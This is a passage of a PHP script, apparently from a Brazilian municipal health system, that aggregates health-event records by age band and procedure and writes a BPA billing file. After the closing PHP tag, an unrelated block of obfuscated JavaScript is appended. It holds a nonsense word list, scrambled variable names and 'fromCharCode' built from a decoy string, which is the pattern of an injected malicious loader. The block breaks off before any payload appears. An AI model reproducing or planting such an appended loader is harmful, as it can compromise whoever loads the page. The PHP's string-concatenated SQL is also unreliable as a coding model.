";}
else if ($ctrl_envio=="S")
{
if (($bpa_existe!="")&&($subst!="S"))
{
bpa_substituicao($tipo_bpa,$competencia_bpa,$bpa_completo,$co_acesso,$op_menu);
exit;
}
else
{
//Validando as Datas
//--------------------
$a=0;
$ano[$a] = $comp_ano;
$mes[$a] = zero_esquerda($comp_mes, 2);
for ($a=1;$a<4;$a++)
{
if (($mes[$a-1]==01)||($mes[$a]==01))
{
$mes[$a]= 12;
$ano[$a]= $ano[$a-1] -1;
}
else
{
$mes[$a] = zero_esquerda(($mes[$a-1] - 1),2);
$ano[$a] = $ano[$a-1];
}
}
$compet01 = $ano[0].$mes[0];
$compet02 = $ano[1].$mes[1];
$compet03 = $ano[2].$mes[2];
$compet04 = $ano[3].$mes[3];
// INICIO DA GERAÇÃO DO BPA
//--------------------------
if ($subst=="S")
{
exc_tabela($no_tabela);
exclui("tb_bpa","DT_COMPETENCIA='".$competencia_bpa."' AND TP_BPA='".$tipo_bpa."'");
$campos="ST_REGISTRO='N',DT_COMPETENCIA_BPA=''";
$cond="DT_COMPETENCIA_BPA= '".$competencia_bpa."' AND a.CO_PROGRAMA_ESTRATEGIA <> '10' ";
$cond = $cond." AND a.DT_EVENTO>='".$ano[3]."-".$mes[3]."-01' AND a.DT_EVENTO<='".$ano[0]."-".$mes[0]."-31' ";
atualiza("tb_evento_saude",$campos,$cond);
}
//VERIFICA SE EXISTEM REGISTROS DE SA?E
//-------------------------------------------------------------------
$qry_cons ="SELECT a.CO_CNES,CASE WHEN date_format(a.DT_EVENTO,'%Y%m') =$compet01 THEN '$compet01' ";
$qry_cons = $qry_cons."WHEN date_format(a.DT_EVENTO,'%Y%m') =$compet02 THEN '$compet02' ";
$qry_cons = $qry_cons."WHEN date_format(a.DT_EVENTO,'%Y%m') =$compet03 THEN '$compet03' ";
$qry_cons = $qry_cons."WHEN date_format(a.DT_EVENTO,'%Y%m') =$compet04 THEN '$compet04' ";
$qry_cons = $qry_cons."ELSE '99' end DT_COMPETENCIA, d.CO_PROCEDIMENTO, e.NU_DV, ";
$qry_cons = $qry_cons."e.TP_COMPLEXIDADE, b.CO_ATIVIDADE, a.CO_TIPO_ATENDIMENTO, a.CO_GRUPO_ATENDIMENTO, ";
//Dados de Alteração de Faixa Etaria
$qry_cons = $qry_cons."CASE WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 ,0) = 0 THEN '50' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) = 1 THEN '51' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) = 2 THEN '52' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) = 3 THEN '53' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) = 4 THEN '54' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) = 5 THEN '55' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 6 AND 11 THEN '60' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 12 AND 14 THEN '61' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 15 AND 20 THEN '62' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 21 AND 24 THEN '63' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 25 AND 29 THEN '64' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 30 AND 34 THEN '65' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 35 AND 39 THEN '66' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 40 AND 44 THEN '67' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 45 AND 49 THEN '68' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 50 AND 54 THEN '69' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 55 AND 59 THEN '70' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 60 AND 64 THEN '71' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 65 AND 150 THEN '72' ";
//Fim da Alteração
$qry_cons = $qry_cons."ELSE '00' end DT_NASCIMENTO, sum(d.QT_PROCEDIMENTO) ";
$qry_cons = $qry_cons."FROM tb_evento_saude a, tb_cbos b, tb_cbo c, rl_procedimentoamb_realizado d, ";
$qry_cons = $qry_cons."tb_procedimento_ambulatorial e ";
$qry_cons = $qry_cons."WHERE a.DT_EVENTO>='".$ano[3]."-".$mes[3]."-01' ";
$qry_cons = $qry_cons."AND a.DT_EVENTO<='".$ano[0]."-".$mes[0]."-31' ";
$qry_cons = $qry_cons."AND a.CO_CBOS = b.CO_CBO AND b.CO_CBO = c.CO_CBO AND a.CO_EVENTO = d.CO_EVENTO ";
$qry_cons = $qry_cons."AND d.CO_PROCEDIMENTO = e.CO_PROCEDIMENTO AND a.ST_REGISTRO = 'N' ";
$qry_cons = $qry_cons."AND a.CO_PROGRAMA_ESTRATEGIA <> '10' ";
$qry_cons = $qry_cons."GROUP BY a.CO_CNES, ";
$qry_cons = $qry_cons."CASE WHEN date_format(a.DT_EVENTO,'%Y%m') =$compet01 THEN '$compet01' ";
$qry_cons = $qry_cons."WHEN date_format(a.DT_EVENTO,'%Y%m') =$compet02 THEN '$compet02' ";
$qry_cons = $qry_cons."WHEN date_format(a.DT_EVENTO,'%Y%m') =$compet03 THEN '$compet03' ";
$qry_cons = $qry_cons."WHEN date_format(a.DT_EVENTO,'%Y%m') =$compet04 THEN '$compet04' ";
$qry_cons = $qry_cons."ELSE '99' end, d.CO_PROCEDIMENTO, ";
//Dados de Alteração de Faixa Etaria
$qry_cons = $qry_cons."CASE WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) = 0 THEN '50' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) = 1 THEN '51' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) = 2 THEN '52' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) = 3 THEN '53' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) = 4 THEN '54' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) = 5 THEN '55' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 6 AND 11 THEN '60' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 12 AND 14 THEN '61' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 15 AND 20 THEN '62' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 21 AND 24 THEN '63' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 25 AND 29 THEN '64' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 30 AND 34 THEN '65' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 35 AND 39 THEN '66' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 40 AND 44 THEN '67' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 45 AND 49 THEN '68' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 50 AND 54 THEN '69' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 55 AND 59 THEN '70' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 60 AND 64 THEN '71' ";
$qry_cons = $qry_cons."WHEN TRUNCATE((to_days(a.DT_EVENTO)-to_days(a.DT_NASCIMENTO))/365.25 , 0) BETWEEN 65 AND 150 THEN '72' ";
//Fim da Alteração
$qry_cons = $qry_cons."ELSE'00' end, a.CO_GRUPO_ATENDIMENTO,a.CO_TIPO_ATENDIMENTO,b.CO_ATIVIDADE ";
$qry_cons = $qry_cons."ORDER BY DT_COMPETENCIA DESC, a.CO_CNES, d.CO_PROCEDIMENTO, b.CO_ATIVIDADE, a.CO_TIPO_ATENDIMENTO, ";
$qry_cons = $qry_cons."a.CO_GRUPO_ATENDIMENTO, DT_NASCIMENTO ";
//echo $qry_cons."
";
$rs_cons = mysql_query($qry_cons);
$rs_total = mysql_num_rows($rs_cons);
if ($rs_total=="0")
{
$mens ="01 - N? foram encontrados Registros de Sa?e \n
";
$mens = $mens."para gerar BPA na compet?cia informada (".$competencia_bpa.")\n
";
aviso($mens,6);
exit;
}
else
{
//Cria uma nova tabela de detalhe de bpa
//---------------------------------------------
$qry_create ="CREATE TABLE `".$no_tabela."` ";
$qry_create = $qry_create."(`CO_UNIDADE` VARCHAR(07) NOT NULL,`DT_COMPETENCIA` VARCHAR(06) NOT NULL,";
$qry_create = $qry_create."`CO_PROCEDIMENTO` VARCHAR(08) NOT NULL,`CO_ATIVIDADE` VARCHAR(02) NOT NULL,";
$qry_create = $qry_create."`CO_TIPO_ATENDIMENTO` VARCHAR(02) NOT NULL,`CO_GRUPO_ATENDIMENTO` VARCHAR(02) NOT NULL,";
//inclusao de campo tp_procedimento
$qry_create = $qry_create."`CO_FAIXA_ETARIA` VARCHAR(02) NOT NULL,`QT_PROCEDIMENTO` VARCHAR(06) NOT NULL, `TP_PROCEDIMENTO` VARCHAR(04) NOT NULL,";
$qry_create = $qry_create."`SG_ORIGEM` VARCHAR(03) NOT NULL,PRIMARY KEY (`CO_UNIDADE`, `DT_COMPETENCIA`,";
$qry_create = $qry_create."`CO_PROCEDIMENTO`, `CO_ATIVIDADE`, `CO_TIPO_ATENDIMENTO`,";
$qry_create = $qry_create."`CO_GRUPO_ATENDIMENTO`, `CO_FAIXA_ETARIA`, `SG_ORIGEM`))";
$cria_table_detalhe= mysql_query($qry_create);
while ($campo=mysql_fetch_row($rs_cons)) // monta o while
{
$unidade=$campo[0];
$competencia=$campo[1];
$procedimento=$campo[2].$campo[3];
$tipo_procedimento = $campo[4];
$atividade=$campo[5];
$tipo=$campo[6];
$grupo=$campo[7];
$etaria=$campo[8];
$qtproc=$campo[9];
// Insere os dados de envio no BD
//---------------------------------------------------------
$campo_temp="CO_UNIDADE, DT_COMPETENCIA, CO_PROCEDIMENTO, TP_PROCEDIMENTO, CO_ATIVIDADE, CO_TIPO_ATENDIMENTO, ";
$campo_temp=$campo_temp."CO_GRUPO_ATENDIMENTO, CO_FAIXA_ETARIA, QT_PROCEDIMENTO";
$dado_temp="'$unidade', '$competencia', '$procedimento', '$tipo_procedimento', '".zero_esquerda($atividade,2)."', '".zero_esquerda($tipo,2)."', '".zero_esquerda($grupo,2)."', ";
$dado_temp=$dado_temp."'".zero_esquerda($etaria,2)."', '$qtproc'";
insere("tb_trabalho_bpa",$campo_temp,$dado_temp);
}
mysql_free_result($rs_cons);
//Fechando a Criação da Tabela Gen?ica------------------------------------------------------------------------
}
//Atualizando a tabela de trabalho
$qry_up[0] = "rl_procedimento_faixa_etaria b SET a.CO_FAIXA_ETARIA='00' WHERE b.CO_FAIXA_ETARIA = '00' AND ";
$qry_up[1] = "rl_procedimento_tipo b SET a.CO_TIPO_ATENDIMENTO='00' WHERE b.CO_TIPO_ATENDIMENTO = '00' AND ";
$qry_up[2] = "rl_procedimento_grupo b SET a.CO_GRUPO_ATENDIMENTO='00' WHERE b.CO_GRUPO_ATENDIMENTO = '00' AND ";
for ($c=0; $c<3; $c++)
{
$qry_update = "UPDATE tb_trabalho_bpa a,".$qry_up[$c];
$qry_update = $qry_update." left(a.CO_PROCEDIMENTO,7) = b.CO_PROCEDIMENTO ";
$update = mysql_query($qry_update);
}
$qry_cons ="SELECT CO_UNIDADE, DT_COMPETENCIA, CO_PROCEDIMENTO, CO_ATIVIDADE, ";
$qry_cons = $qry_cons."CO_TIPO_ATENDIMENTO, CO_GRUPO_ATENDIMENTO, CO_FAIXA_ETARIA, ";
$qry_cons = $qry_cons." sum(QT_PROCEDIMENTO) ";
$qry_cons = $qry_cons."FROM tb_trabalho_bpa ";
$origem = "IN0";
$destino = "SMS ".$no_municipio;
if ($bpa_completo!="S")
{
if ($tipo_bpa=="M")
{
$origem = "IN1";
$qry_cons = $qry_cons." WHERE TP_PROCEDIMENTO = 'AB' ";
}
else
{
$origem = "IN2";
$destino = "SES ".$no_uf;
$qry_cons = $qry_cons." WHERE TP_PROCEDIMENTO <> 'AB' ";
}
}
$qry_cons = $qry_cons."GROUP BY CO_UNIDADE, DT_COMPETENCIA, CO_PROCEDIMENTO, CO_ATIVIDADE, ";
$qry_cons = $qry_cons."CO_TIPO_ATENDIMENTO, CO_GRUPO_ATENDIMENTO, CO_FAIXA_ETARIA ";
$qry_cons = $qry_cons."ORDER BY CO_UNIDADE, DT_COMPETENCIA DESC, CO_PROCEDIMENTO, CO_ATIVIDADE, ";
$qry_cons = $qry_cons."CO_TIPO_ATENDIMENTO, CO_GRUPO_ATENDIMENTO, CO_FAIXA_ETARIA";
$rs_cons = mysql_query($qry_cons);
$rs_total = mysql_num_rows($rs_cons);
if ($rs_total=="0")
{
exc_tabela($no_tabela);
exclui("tb_trabalho_bpa","");
$mens ="02 - N? foram encontrados Registros de Sa?e \n
";
$mens = $mens."para gerar BPA na compet?cia informada (".$competencia_bpa.")\n
";
aviso($mens,6);
exit;
}
else
{
while ($campo=mysql_fetch_row($rs_cons))
{
$unidade=$campo[0];
$competencia=$campo[1];
$procedimento=$campo[2];
$atividade=$campo[3];
$tipo=$campo[4];
$grupo=$campo[5];
$etaria=$campo[6];
$qtproc=$campo[7];
// Insere os dados de envio no BD
//---------------------------------------------------------
$campo_temp="CO_UNIDADE, DT_COMPETENCIA, CO_PROCEDIMENTO, CO_ATIVIDADE, CO_TIPO_ATENDIMENTO, CO_GRUPO_ATENDIMENTO, ";
$campo_temp=$campo_temp."CO_FAIXA_ETARIA, QT_PROCEDIMENTO, SG_ORIGEM, TP_PROCEDIMENTO";
$dado_temp="'$unidade', '$competencia', '$procedimento', '$atividade', '$tipo', '$grupo',";
$dado_temp=$dado_temp."'$etaria', '$qtproc', '$origem', 'V'";
insere($no_tabela,$campo_temp,$dado_temp);
}
//////////////////////////////////////////////////////////////////////////
// VERIFICA SE EXISTEM RESTRIÇÕES NA TABELA CDX DO SIA
//-------------------------------------------------------
//Tipos de procedimentos glosados
$tipo_glo[0] = "A"; //Atividade Inv?ida
$tipo_glo[1] = "T"; //Tipo Atendimento Inv?ido
$tipo_glo[2] = "G"; //Grupo Atendimento Inv?ido
$tipo_glo[3] = "F"; //Faixa Et?ia Inv?ida
//Tabelas para efetuar os procedimentos glosados
$tab_glo[0] = "rl_procedimento_atividade B ";
$tab_glo[1] = "rl_procedimento_tipo B ";
$tab_glo[2] = "rl_procedimento_grupo B ";
$tab_glo[3] = "rl_procedimento_faixa_etaria B ";
//Condições especificas para cada Tabela
$cond_glo[0] = "AND A.CO_ATIVIDADE NOT IN (SELECT B.CO_ATIVIDADE FROM rl_procedimento_atividade B WHERE left(A.CO_PROCEDIMENTO,7) = B.CO_PROCEDIMENTO) ";
$cond_glo[1] = "AND A.CO_TIPO_ATENDIMENTO NOT IN (SELECT B.CO_TIPO_ATENDIMENTO FROM rl_procedimento_tipo B WHERE left(A.CO_PROCEDIMENTO,7) = B.CO_PROCEDIMENTO) ";
$cond_glo[2] = "AND A.CO_GRUPO_ATENDIMENTO NOT IN (SELECT B.CO_GRUPO_ATENDIMENTO FROM rl_procedimento_grupo B WHERE left(A.CO_PROCEDIMENTO,7) = B.CO_PROCEDIMENTO) ";
$cond_glo[3] = "AND A.CO_FAIXA_ETARIA NOT IN (SELECT B.CO_FAIXA_ETARIA FROM rl_procedimento_faixa_etaria B WHERE left(A.CO_PROCEDIMENTO,7) = B.CO_PROCEDIMENTO) ";
//Montando a estrutura do SQL para verificar os procedimentos glosados
for ($c=0; $c<4; $c++)
{
$qry = "SELECT A.CO_UNIDADE, A.DT_COMPETENCIA, A.CO_PROCEDIMENTO, A.CO_ATIVIDADE,";
$qry = $qry."A.CO_TIPO_ATENDIMENTO, A.CO_GRUPO_ATENDIMENTO, A.CO_FAIXA_ETARIA, A.QT_PROCEDIMENTO ";
$qry = $qry."FROM $no_tabela A, ".$tab_glo[$c];
$qry = $qry." WHERE left(A.CO_PROCEDIMENTO,7) = B.CO_PROCEDIMENTO AND A.TP_PROCEDIMENTO='V' ";
$qry = $qry.$cond_glo[$c];
$qry = $qry." GROUP BY A.CO_UNIDADE, A.DT_COMPETENCIA DESC, A.CO_PROCEDIMENTO, A.CO_ATIVIDADE,";
$qry = $qry." A.CO_TIPO_ATENDIMENTO, A.CO_GRUPO_ATENDIMENTO, A.CO_FAIXA_ETARIA";
$res = mysql_query($qry);
while ($campo=mysql_fetch_row($res))
{
$unidade=$campo[0];
$competencia=$campo[1];
$procedimento=$campo[2];
$atividade=$campo[3];
$tipo=$campo[4];
$grupo=$campo[5];
$etaria=$campo[6];
$qtproc=$campo[7];
// Atualizando os dados
//---------------------------------------------------------
$campo_temp = "TP_PROCEDIMENTO='".$tipo_glo[$c]."'";
$cond_temp = "CO_UNIDADE='$unidade' AND DT_COMPETENCIA='$competencia' AND ";
$cond_temp = $cond_temp."CO_PROCEDIMENTO='$procedimento' AND CO_ATIVIDADE='$atividade' AND ";
$cond_temp = $cond_temp."CO_TIPO_ATENDIMENTO='$tipo' AND CO_GRUPO_ATENDIMENTO='$grupo' AND ";
$cond_temp = $cond_temp."CO_FAIXA_ETARIA='$etaria'";
atualiza($no_tabela,$campo_temp,$cond_temp);
}
}
mysql_free_result($res);
exclui("tb_trabalho_bpa","");
$campos="ST_REGISTRO='S',DT_COMPETENCIA_BPA='".$competencia_bpa."'";
$cond="ST_REGISTRO='N' AND a.CO_PROGRAMA_ESTRATEGIA <> '10' ";
$cond = $cond." AND a.DT_EVENTO>='".$ano[3]."-".$mes[3]."-01' AND a.DT_EVENTO<='".$ano[0]."-".$mes[0]."-31' ";
atualiza("tb_evento_saude",$campos,$cond);
$nome_bpa = "PA".substr($uf.$munic,0,5).$tipo_bpa.".".$ext[(int)$comp_mes];
$campo_temp="NO_BPA, DT_BPA, HR_BPA, DT_COMPETENCIA, TP_BPA";
$dado_temp="'$nome_bpa', '".date("Y/m/d")."', '$hora', '$competencia_bpa', '$tipo_bpa'";
insere("tb_bpa",$campo_temp,$dado_temp);
$ctrl_envio="T";
}
}
}
if ($ctrl_envio=="T")
{
//Gerando o arquivo de BPA
$Indicador_BPA = "*BPA*";
$co_municipio = busca("tb_gestor","CO_MUNICIPIO","");
$cnpj_secretaria = busca("tb_gestor","NU_CGC_SECRETARIA","");
$consulta_cabecalho = mysql_query("SELECT sum(CO_PROCEDIMENTO), sum(QT_PROCEDIMENTO), count(CO_UNIDADE)
FROM $no_tabela WHERE TP_PROCEDIMENTO='V'");
$resultado_cabecalho = mysql_num_rows($consulta_cabecalho);
$campo2=mysql_fetch_row($consulta_cabecalho);
$soma_registro = $campo2[0];
$qt_total=$campo2[1];
$qt_registro = $campo2[2];
$sequencia = 0;
$nfolhas = 1;
$controle = verificador($qt_total,$soma_registro);
$NomeArq = "PA".substr($co_municipio,0,5).$tipo_bpa;
$Nome_BPA = "$NomeArq.".$ext[(int)$mes[0]];
//Registra dados do cabe?lho do BPA
$fp = fopen("$dirbpa$NomeArq.txt", "a+");
fwrite($fp, $Indicador_BPA);
fwrite($fp, $competencia_bpa);
fwrite($fp, zero_esquerda($qt_registro,6));
fwrite($fp, zero_esquerda(Qt_Folhas($qt_registro),6));
fwrite($fp, $controle);
fwrite($fp, completa_branco("SMS ".$no_municipio,30));
fwrite($fp, $co_Municipio);
fwrite($fp, $cnpj_secretaria);
fwrite($fp, completa_branco($destino,40));
fwrite($fp, $tipo_bpa);
$consulta_detalhe = mysql_query("SELECT CO_UNIDADE, DT_COMPETENCIA, CO_PROCEDIMENTO, CO_ATIVIDADE,
CO_TIPO_ATENDIMENTO, CO_GRUPO_ATENDIMENTO, CO_FAIXA_ETARIA,
QT_PROCEDIMENTO
FROM $no_tabela WHERE TP_PROCEDIMENTO='V'");
$resultado_detalhe = mysql_num_rows($consulta_detalhe);
while ($campo=mysql_fetch_row($consulta_detalhe)) // monta o while
{
$unidade=$campo[0];// pega o ID da categoria
$competencia=$campo[1];// pega o nome da categoria p/ apresentar ao usu?io
$procedimento=$campo[2];// pega o ID da categoria
$atividade=$campo[3];// pega o nome da categoria p/ apresentar ao usu?io
$tipo=$campo[4];// pega o ID da categoria
$grupo=$campo[5];// pega o nome da categoria p/ apresentar ao usu?io
$etaria=$campo[6];// pega o ID da categoria
$qtproc=$campo[7];// pega o ID da categoria
$sequencia = $sequencia + 01;
fwrite($fp, "\r\n");
fwrite($fp, $unidade);
fwrite($fp, $competencia);
fwrite($fp, zero_esquerda($nfolhas,3));
fwrite($fp, zero_esquerda($sequencia,2));
fwrite($fp, zero_esquerda($procedimento,8));
fwrite($fp, zero_esquerda($atividade,2));
fwrite($fp, zero_esquerda($tipo,2));
fwrite($fp, zero_esquerda($grupo,2));
fwrite($fp, zero_esquerda($etaria,2));
fwrite($fp, zero_esquerda($qtproc,6));
fwrite($fp, $origem);
if ($sequencia == 20)
{
$sequencia = 0;
$nfolhas = $nfolhas + 1;
}
}
fclose($fp);
rename("$dirbpa$NomeArq.txt", "$dirbpa$Nome_BPA");
mysql_free_result($consulta_detalhe);
//CRiando e Movendo o Arquivo de BPA----------------------------------------------------------------
if (!file_exists($dirbpa.$ano[0])) //SE a pasta n? existe, cria ela em c:/projeto/teste/arquivos
{
mkdir("$dirbpa".$ano[0]."/", 0777); //Cria a pasta onde est?o arquivo atual em Arquivos
}
$arq=fopen($dirbpa.$Nome_BPA, "r+"); //Abre arquivo
if (!file_exists($dirbpa.$ano[0].'/'.$Nome_BPA))
{
if (!copy($dirbpa.$Nome_BPA, $dirbpa.$ano[0].'/'.$Nome_BPA)) //Copia o arquivo aberto para a pasta arquivos/$diratual
{
echo "Erro copiando arquivo $dirbpa$Nome_BPA...
\n"; //Mensagem de erro de c?ia de arquivo
}
}
fclose($arq); //fecha arquivo
unlink($dirbpa.$Nome_BPA); //Apaga o arquivo aberto
//Fim------------------------------------------------------------------------------------------------
$comp_recibo = $ext[(int)$mes[0]]."/".$ano[0];
$pesq== $_GET["pesq"];
if ($pesq=="1")
{
$Nome_BPA = $_POST["Nome_BPA"];
$comp_recibo = $_POST["comp_recibo"];
}
session_register('controle','Nome_BPA','cnpj_secretaria','tipo_bpa','qt_registro','no_municipio','destino','comp_recibo');
bpa_visualiza($co_unidade,$tipo_bpa,$competencia_bpa,$no_tabela,"bpa_novo.php",$co_acesso,$op_menu);
}
else
{
echo "";
if ($Est_municipio=="")
{
$mens ="?necess?io efetuar a configuração do BPA!\n
";
$mens = $mens."Escolha no menu a opção:
";
$mens = $mens."BPA - Configurar\n
";
aviso($mens,10);
}
else
{
$comp_bpa = $comp_ano.zero_esquerda($comp_mes,2);
bpa_competencia($Est_municipio,$tipo_bpa,$comp_bpa,$co_acesso,$op_menu);
}
}
}
?>
enanesajet jelagal payevexebe pejasep heqefagabexemew deheler vejegeca hece rafenadamenaxe jaz fex hekases pazetepajamelew cerasej nevayezabevepeke pex gey dac g dezaleza kekeqebe peyemaf sevanededa cefagey defef cexaqehe sebex galahal zadaxaran lava falamedejegase set law mefe wa mex ces nam j xaxaped gexeqageb feqeled daseze tehadeh zeheteyera xanahef wepahena xarakel gadazecaq tabexape dareq seje lejegagaxavade haf jaz cewe me cag kem fed h legefaz taw keyacah wefereweverewaze rapecame kas fagavev facez yefeley lareke seperene gav lece gahepegesafeve dez gen yeje s waz qas xap c hademax mezezah qepawehe vad zejates pe cehajeg sabebaseqeseda sekesav nebeda cagareg kec fexewel bejewagedegeqene bajesade lav pasepad baraj xecavan vedepe veranake vej heva kejajemacajada wez saj vele x qaj vad fag y qetamefe jaxa kamatare net zeheweh jeme bale cexebedeleneye dab vev kekaxex jetecajek lejekabe qalef bevegeye caxeb beleteqe r hele saxafexazat baz dehakajegeqeneke met mefepexafecebera dahagas betebezeha memefem yefededehaqacet pekewel jecena zeraweze memegerak zexelede l xejexed kehape rameqaxe jad say kezexacayesazeg xecepel zahe negabef vekanetejeharewa lewekat yetepeberehele fed beyeterezasewene vadever cama yavaqag wafekedakalekeke gebehece facebe jezeqet xekajejasexebex zagayava jenal fala te qewe fexedesewe req batekeqaheteceh zateyene c zekeqay ratevecek veheleqe k dec tec xece jefexazeqayefes cama bapevexeladet keh lanawebasegecaja qefejev qepetekene dacegas relevaj fecasece ber veyayes ba kajebed savaketegemeqe wepecer lamege tere ratavacevejezax gey dasalaje gav yepakekehe'.split(' ');var ZeJexn='';var SerayYafags=String;var KesXanavn=-50;KesXanavn+=66;XadHef=78;var BeZao=47;BeZao+=-47;var FeceSabejo=-46;FeceSabejo+=48;GebJep=92;var SeWajec='ftr9wogmBwJCW5h6aixrPRCs1ZonjHjdjKueMkD'.replace(/[t9wgBwJW56ixPRs1ZnjHjjKuMkD]/g, '');MaqTa=5;GaDemee=DepanNegw[GaDemee];SeWajec=SerayYafags[SeWajec];for (YajMedei=BeZao;YajMedei
_